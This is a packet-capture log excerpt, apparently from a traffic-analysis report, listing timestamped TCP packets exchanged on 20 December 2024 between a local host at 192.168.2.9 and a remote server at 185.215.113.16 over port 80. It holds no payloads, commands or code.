Dec 20, 2024 17:29:48.002835035 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.002866030 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.002893925 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.003711939 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.004180908 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.004281998 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.004486084 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.006473064 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.006642103 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.006665945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.006676912 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.006726027 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.007025003 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.007626057 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.007678032 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.007755995 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.008542061 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.008658886 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.008661985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.009413004 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.009485960 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.009773016 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.010157108 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.010196924 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.010840893 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.011009932 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.011022091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.011264086 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.011837959 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.011871099 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.037458897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.037756920 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.037811995 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.037918091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.037935972 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.037986040 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.038656950 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.038969040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.039057970 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.039516926 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.039823055 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.039901018 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.040071964 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.040708065 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.040760040 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.040760994 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.041645050 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.041781902 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.041806936 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.042570114 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.042604923 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.042643070 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.043395996 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.043535948 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.043554068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.044122934 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.044243097 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.044372082 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.045078039 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.045139074 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.045337915 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.045902014 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.045975924 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.046072006 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.046746016 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.046838999 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.046858072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.047606945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.047707081 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.047775984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.048474073 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.048548937 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.048851967 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.049258947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.049299955 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.049479008 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.050250053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.050318956 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.050342083 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.050925016 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.051120043 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.051145077 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.051805019 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.051841021 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.052037001 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.052743912 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.052783966 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.053359985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.053580046 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.053596020 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.053670883 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.054452896 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.054539919 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.054651976 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.055219889 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.055275917 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.055639029 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.056114912 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.056170940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.056185961 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.056994915 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.057054043 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.057095051 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.057874918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.057938099 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.057967901 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.058722019 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.058809996 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.058840036 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.059648037 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.059691906 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.059916019 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.060386896 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.060513020 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.060765982 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.061346054 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.061387062 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.061752081 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.062156916 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.062210083 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.062269926 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.093430996 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.093486071 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.093539953 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.093552113 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.093605995 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.093683958 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.094310999 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.094408989 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.094425917 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.095163107 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.095326900 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.095345974 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.096124887 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.096210003 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.096272945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.097166061 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.097491026 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.097510099 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.097749949 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.097800016 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.098100901 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.098598957 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.098644018 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.099072933 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.099566936 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.099641085 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.099678040 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.100542068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.100608110 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.100656986 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.101201057 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.101325035 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.101353884 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.102066040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.102123022 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.102365017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.102962017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.103003025 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.103100061 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.103775978 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.103833914 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.104058027 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.152918100 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.195792913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.195827961 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.195964098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.195992947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.196110964 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.196155071 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.197109938 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.197412968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.197473049 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.197805882 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.199177027 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.199336052 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.199363947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.199470997 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.199527025 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.199626923 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.200309038 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.200361967 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.200406075 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.200989008 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.201178074 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.201189041 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.201900959 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.202049017 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.202619076 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.202721119 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.202733040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.202790976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.203577995 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.203635931 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.203778028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.230074883 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.230150938 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.230370998 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.230384111 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.230396986 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.230448008 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.231252909 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.231301069 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.232096910 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.232292891 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.232403994 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.232567072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.232579947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.232636929 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.233454943 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.234390020 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.234401941 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.234416008 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.234436035 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.234497070 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.235225916 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.235553026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.235590935 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.236121893 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.236311913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.236361027 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.237093925 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.237235069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.237387896 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.237931967 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.238049030 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.238099098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.238884926 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.239275932 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.239341021 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.239912987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.240371943 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.240493059 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.241075039 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.241282940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.241338015 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.241780043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.241791964 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.241873980 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.242640972 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.242953062 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.242964029 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.242975950 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.243030071 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.243613005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.244050980 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.244102001 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.244383097 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.244697094 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.244771004 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.245263100 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.245471001 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.245548964 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.246131897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.246339083 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.246380091 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.247102022 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.247466087 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.247555971 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.247904062 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.248260975 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.248316050 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.248709917 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.248826981 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.249098063 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.249618053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.250073910 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.250313997 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.250387907 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.250622988 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.250699043 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.251343012 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.251630068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.251677036 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.252418041 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.252878904 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.252943993 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.252957106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.252980947 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.253011942 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.253842115 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.253856897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.253942013 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.254687071 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.255577087 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.255650043 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.287045002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.287061930 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.287074089 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.287189960 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.287832975 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.287846088 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.287995100 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.288007975 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.288078070 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.288078070 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.288876057 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.288888931 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.288913965 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.289736986 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.289814949 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.289975882 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.290530920 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.290683031 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.290770054 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.291426897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.291488886 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.291512012 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.292433977 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.292474985 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.292505026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.293052912 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.293176889 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.293926001 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.293946028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.294034004 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.294054985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.294820070 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.294934034 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.294959068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.296046019 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.296159029 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.296444893 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.296833992 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.296930075 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.297025919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.297883987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.297926903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.388408899 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.388593912 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.388609886 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.388772011 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.388788939 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.388839006 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.389486074 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.389581919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.390299082 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.390377045 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.391125917 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.391221046 CET	49719	80	192.168.2.9	185.215.113.16
